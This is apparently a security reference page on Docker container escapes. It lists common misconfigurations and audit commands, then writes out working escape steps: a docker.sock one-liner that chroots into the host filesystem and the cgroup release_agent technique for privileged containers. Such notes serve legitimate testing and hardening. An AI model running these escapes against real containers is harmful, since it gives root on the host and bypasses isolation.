Containers are not VMs. Misconfigs let attackers escape to the host or access other containers.
- Running containers as root
- Mounting
/var/run/docker.sockinto a container --privilegedflag enabled- Secrets in environment variables or Dockerfile
- Outdated base images with known CVEs
# Scan image for CVEs
trivy image myapp:latest
# Check if container is privileged (inside container)
cat /proc/self/status | grep CapEff
# Docker socket exposed?
ls -la /var/run/docker.sock1. Mounted Docker socket -> host root (most common):
# Inside a container that has /var/run/docker.sock mounted
docker -H unix:///var/run/docker.sock run -it -v /:/host --privileged alpine chroot /host sh
# You are now root on the HOST filesystem2. Privileged container -> host via cgroups release_agent:
# --privileged gives all capabilities; abuse the cgroup notify_on_release
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -1))
mkdir -p $d/w; echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
printf '#!/bin/sh\nid > /output' > /cmd; chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs" # triggers /cmd on the host3. Enumerate your own capabilities / privilege:
capsh --print # what caps do I have?
cat /proc/self/status | grep CapEff # 0000003fffffffff = privileged
# Look for dangerous caps: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_READ_SEARCH4. Automated: run cdk evaluate / deepce.sh inside the container to find all escape paths.
- Privileged container + mounted docker.sock = host root
CAP_SYS_ADMIN/ dangerous capabilities- Writable host paths mounted into the container (
-v /:/host) - Host PID namespace (
--pid=host) -> read other processes' memory - CVE-specific escapes (check kernel and
runcversions - e.g. CVE-2019-5736)
| Tool | Use |
|---|---|
| Trivy | Image and filesystem CVE scan |
| Docker Bench | Host configuration audit |
| cdk | Container penetration toolkit |